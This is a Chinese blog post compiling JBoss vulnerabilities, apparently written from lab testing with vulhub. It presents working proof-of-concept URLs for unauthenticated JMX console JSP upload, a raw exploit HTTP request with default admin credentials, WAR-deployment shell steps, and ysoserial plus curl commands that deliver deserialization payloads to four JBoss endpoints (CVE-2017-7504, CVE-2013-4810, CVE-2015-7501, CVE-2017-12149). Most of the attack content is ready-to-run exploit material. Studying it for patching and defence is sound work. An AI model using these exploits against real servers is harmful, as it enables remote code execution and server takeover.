vlambda博客
学习文章列表

JBoss常见漏洞整理

JBoss常见漏洞整理

JBoss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用;JBoss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

JBoss高危漏洞主要涉及到以下两种。

第一种是利用未授权访问进入JBoss后台进行文件上传的漏洞,例如:CVE-2007-1036CVE-2010-0738,CVE-2006-5750以及void addURL() void deploy() 上传war包。另一种是利用Java反序列化进行远程代码执行的漏洞,例如:CVE-2015-7501CVE-2017-7504CVE-2017-12149CVE-2013-4810

JBoss常见漏洞整理

访问控制不严导致的漏洞

CVE-2007-1036CVE-2010-0738,CVE-2006-5750

漏洞页面如下:

http://192.168.10.128:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository

JBoss常见漏洞整理

CVE-2007-1036

poc如下,会生成 http://192.168.10.128:8080/b/b.jsp页面,页面内容是 test

http://192.168.10.128:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=5&arg0=b.war&arg1=b&arg2=.jsp&arg3=%3C%25out.println%28%22test%22%29%3B%25%3E&arg4=True

CVE-2006-5750

poc如下,会生成http://192.168.10.128:8080/c/c.jsp页面,页面内容是 test

http://192.168.64.129:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=c.war&argType=java.lang.String&arg1=c&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3C%25out.println%28%22test%22%29%3B%25%3E&argType=boolean&arg4=True

CVE-2007-1036

数据包如下,会http://192.168.10.128:8080/a/a.jsp页面,页面内容是test,注意是HEAD请求

HEAD /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodIndex=5&arg0=a.war&arg1=a&arg2=.jsp&arg3=%3C%25out.println%28%22test%22%29%3B%25%3E&arg4=True HTTP/1.1Host: 192.168.10.128:8080Cache-Control: max-age=0Authorization: Basic YWRtaW46YWRtaW4=Upgrade-Insecure-Requests: 1Origin: http://192.168.10.128:8080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.10.128:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepositoryAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie: JSESSIONID=EB1FF2DBD5FAE956570012622CA45C8DConnection: close

void addURL() void deploy()远程上传war包getshell

这两种都是利用的整个后台的未授权访问,或者弱口令登录后台,然后部署war包,进而getshell

void addURL()

http://192.168.10.128:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL

JBoss常见漏洞整理

JBoss常见漏洞整理

JBoss常见漏洞整理

JBoss常见漏洞整理

void deploy()

http://192.168.10.128:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system%3Aservice%3DMainDeployer

JBoss常见漏洞整理

JBoss常见漏洞整理

JBoss常见漏洞整理

JBoss常见漏洞整理

反序列化导致的漏洞

之前爆出来的反序列化漏洞主要有 CVE-2017-7504 CVE-2013-4810 CVE-2015-7501 CVE-2017-12149,但其实利用方式完全一致,都是因为某个接口接收序列化数据后会进行反序列化进而触发反序列化漏洞。

所以这些漏洞payload可以共用一个,只是请求的路径不一样。(网上给出的影响范围并不靠谱,使用vulhub的CVE-2017-7504测试环境,jboss版本为4.0.5,以下四个漏洞全部测试成功,所以并不能单纯靠看版本号来确定是不是存在漏洞)

利用方式如下:

生成payloadjava -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" > 1.ser
# CVE-2017-7504curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser# CVE-2013-4810curl http://your-ip:8080/invoker/EJBInvokerServlet --data-binary @1.ser# CVE-2015-7501curl http://your-ip:8080/invoker/JMXInvokerServlet --data-binary @1.ser# CVE-2017-12149curl http://your-ip:8080/invoker/readonly --data-binary @1.ser

JBoss常见漏洞整理

每次请求后都能生成一个success文件

JBoss常见漏洞整理

可根据页面来简单判断是否存在漏洞,分别访问这四个页面:

/jbossmq-httpil/HTTPServerILServlet

JBoss常见漏洞整理

/invoker/EJBInvokerServlet

JBoss常见漏洞整理

/invoker/JMXInvokerServlet

JBoss常见漏洞整理

/invoker/readonly

JBoss常见漏洞整理

用vulhub搭建CVE-2017-12149漏洞环境,用脚本验证 发现除 /jbossmq-httpil/HTTPServerILServlet 外其他三个漏洞皆利用成功

JBoss常见漏洞整理


扫描下方二维码